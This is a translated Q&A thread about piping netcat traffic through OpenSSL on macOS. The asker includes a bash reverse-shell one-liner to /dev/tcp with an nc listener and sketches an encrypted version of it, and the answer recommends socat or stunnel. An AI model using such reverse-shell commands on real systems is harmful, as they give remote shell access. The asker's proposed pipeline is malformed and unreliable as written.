使用OpenSSL加密Netcat数据

时间:2013-06-26 21:09:16

标签: macos bash encryption openssl netcat

所以我有一个由netcat管理的基本通信流。例如,用户可以在端口5555创建bash shell并将控制转发到localhost。你怎么能通过OpenSSL管这个来实现对称加密的连接?我只能使用安装在OSX机器上的工具。

创建外壳

bash -i >& /dev/tcp/localhost/5555 0>&1

Catch Shell

nc -l -p 5555

使用OpenSSL加密数据

openssl aes-256-cbc -salt -a -e -in plaintext.txt -out encrypted.txt

使用OpenSSL解密数据

openssl aes-256-cbc -salt -a -d -in encrypted.txt -out plaintext.txt

我正在寻找的那种

bash -i & | openssl -e > /dev/tcp/localhost/5555 0>&1
nc -l -p 5555 | openssl -d

1 个答案:

答案 0 :(得分:1)

根据评论中的其他信息,安装MacPorts,并尝试使用移植的socat或stunnel。

dtpwmbp:~ pwadas$ uname -a ; sudo port list |egrep -i socat\|stunnel
Darwin dtpwmbp 12.4.0 Darwin Kernel Version 12.4.0: Wed May  1 17:57:12 PDT 2013; root:xnu-2050.24.15~1/RELEASE_X86_64 x86_64
stunnel                        @4.47           security/stunnel
socat                          @1.7.2.1        sysutils/socat
dtpwmbp:~ pwadas$ 

http://www.macports.org